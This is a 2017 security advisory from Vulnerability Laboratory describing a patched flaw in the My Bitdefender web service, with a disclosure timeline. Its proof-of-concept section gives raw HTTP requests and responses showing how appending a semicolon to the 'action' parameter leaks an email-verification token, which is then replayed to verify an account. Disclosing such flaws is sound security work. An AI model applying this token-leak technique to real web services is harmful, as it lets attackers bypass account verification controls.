Bit Defender's website suffered from an authentication token bypass vulnerability.
bf9a8af3111e5e41234ed3f5acb51ac9Document Title:
===============
Bit Defender #39 - Auth Token Bypass Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1683
Release Date:
=============
2017-01-09
Vulnerability Laboratory ID (VL-ID):
====================================
1683
Common Vulnerability Scoring System:
====================================
5.9
Product & Service Introduction:
===============================
Bitdefender is a Romanian internet security software company, represented through subsidiaries and partners in over 100 countries.
The company has been developing online protection since 2001. At September 2014 Bitdefender technologies were installed in around
500 million home and corporate devices across the globe.
(Copy of the Homepage: https://en.wikipedia.org/wiki/Bitdefender )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote session token bypass vulnerability in the official Bitdefender online service web-application (my.bitdefender).
Vulnerability Disclosure Timeline:
==================================
2016-01-25: Researcher Notification & Coordination (Lawrence Amer)
2016-01-26: Vendor Notification (Bitdefender Security Team)
2016-02-03: Vendor Response/Feedback (Bitdefender Security Team)
2016-12-01: Vendor Fix/Patch by Check (Bitdefender Developer Team)
2017-01-09: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Bitdefender
Product: My Bitdefender - Online Service (Web-Application) 2016 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A token bypass vulnerability has been discovered in the official Bitdefender online service web-application (my.bitdefender).
The vulnerability allows remote attackers to bypass the secure protection mechanism of verification procedure in the online-service.
A vulnerability allows remote attackers to bypass the token which responsible for confirming the owner of current email address to get a
confirmed account from bitdefender for security products. The vulnerability considerd as method followed by remote attackers to bypass the
correct method of verfication . and located in module which reponsible for registering new customers [/lv2/account?login=] . a semia col
added to parameter [ action] which expose the verfication token , which used later for bypassing.
The security risk of the token filter bypass web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.9.
Exploitation of the token filter bypass web vulnerability requires no privileged user account or user interaction. Successful exploitation of the
vulnerability results in unauthorized verification of user credentials in the online service web-application.
Request Method:
[+] GET
Vulnerable Module:
[+] /lv2/account?login=
Vulnerable Parameter(s):
[+] [action]
Affected Domain(s):
[+] my.bitdefender.com
Proof of Concept (PoC):
=======================
The token bypass web vulnerability can be exploited by a remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerbility ...
1. The remote attacker registers wih my.bitdefender.com , after registration the current status of un-verfied accounts is [4] while the [1] is verfied
2. Now the attacker add a semia col to action parameter like: action=' with GET Request:
GET /lv2/[email protected]&pass=[EMAIL_CURRENT_PASSWORD]&action=;&type=userpass&fp=web&lang=en_us&beta=true HTTP/1.1
Host: my.bitdefender.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://my.bitdefender.com/login
Cookie: s_vi=[CS]v1|2B4FB32A051D2F01-6000190280001A6A[CE]; bd112=lY5LDoIwFEX30qQjCf1BsCTGgTp0BdYBlCpNLMXHI5gY9i4LYICzM7j35Ny%2BZIQXKUmL2JeGGTZNU1p7bNzDdY2D1MZg2ODRGXatfLewq8C2hh3fByoLqi5UnXx47gawVJ0%2Fu9g5gAgL9xBDj1TuCyr1MiQJQR%2FcgFXoSSmyXEnNVcHn5P8KGzusLBom1q1abLWu%2FQXncnPVWAePa54iU7nO5%2FsP; visid_incap_444053=meSoTqUSRwCAL8O9SNbIZW5zn1YAAAAAQUIPAAAAAABtAdmh8HM0LDXk6stcsU0R; __qca=P0-565467393-1453315617095; trh3=AWsAlP%2BVbGRto4xjbW6TbmNtrpFdWXiUbGZsrqZiVFl3VaWZpaacl5GIppdUb6VtZV5dS66go5iWaGZhVGKnpmaimGegW49ecWOVlaBqVWOWY3ZtVKiboJibl4qqo1Rvm21kXFhcb2xiaGdsbqWgpg%3D%3D; shsid=11947017; rerew4=W56TmuvVMT0%2BDwA%3D; oidfg4=m5qTnLt4AQA%3D; fsd2=m5qTnLt4AQA%3D; __cfduid=dd46406ce24e76b99369c3c1422d61a881453744387; _ga=GA1.3.875146899.1453769753; bdselcid=en; country_id=en; _country=sy; _cbml=%7B%22name%22%3A%22en_us%22%7D; _cbmrb=false; _cbme=%22%22; _cbmci=%22%22; _gat=1
Connection: keep-alive
3. Got this response which will leak the verfication token
Response :
HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Tue, 26 Jan 2016 01:31:41 GMT
Content-Type: application/json
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
X-Content-Type-Options: nosniff
CF-RAY: 26a875b0da9f356c-LHR
Content-Length: 229
{
"preferences": "{"lang": "en_us"}",
"country_id": "204",
"token": "2OZ6INMWmWythZEonNWQjsy4GtE",
"error": "pending",
"passmd5": "e807f1fcf82d132f9bb018ca6738a19f",
"login": "[email protected]"
}
4. The last step is to use the token that was leaked from previous step
GET /lv2/act_pending?token=2OZ6INMWmWythZEonNWQjsy4GtE&redirect_uri=https%3A%2F%2Fmy.bitdefender.com%2Fdashboard%3F HTTP/1.1
Host: my.bitdefender.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
--------------Response ---------------------------------------
HTTP/1.1 302 FOUND
Server: cloudflare-nginx
Date: Tue, 26 Jan 2016 01:32:21 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 5
Connection: keep-alive
Location: https://my.bitdefender.com/dashboard?&token=7iS15Wa2Zn1Jl3U2WGtZhiE7ll8&[email protected]&passmd5=e807f1fcf82d132f9bb018ca6738a19f
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
X-Content-Type-Options: nosniff
CF-RAY: 26a876a6c49a3530-LHR
-
Found
Video PoC:
https://www.youtube.com/watch?v=LPSYJPL3GZU
Security Risk:
==============
The security risk of the session token bypass web vulnerability in the bitdefender web-application is estimated as high. (CVSS 5.9)
Credits & Authors:
==================
Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.
Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com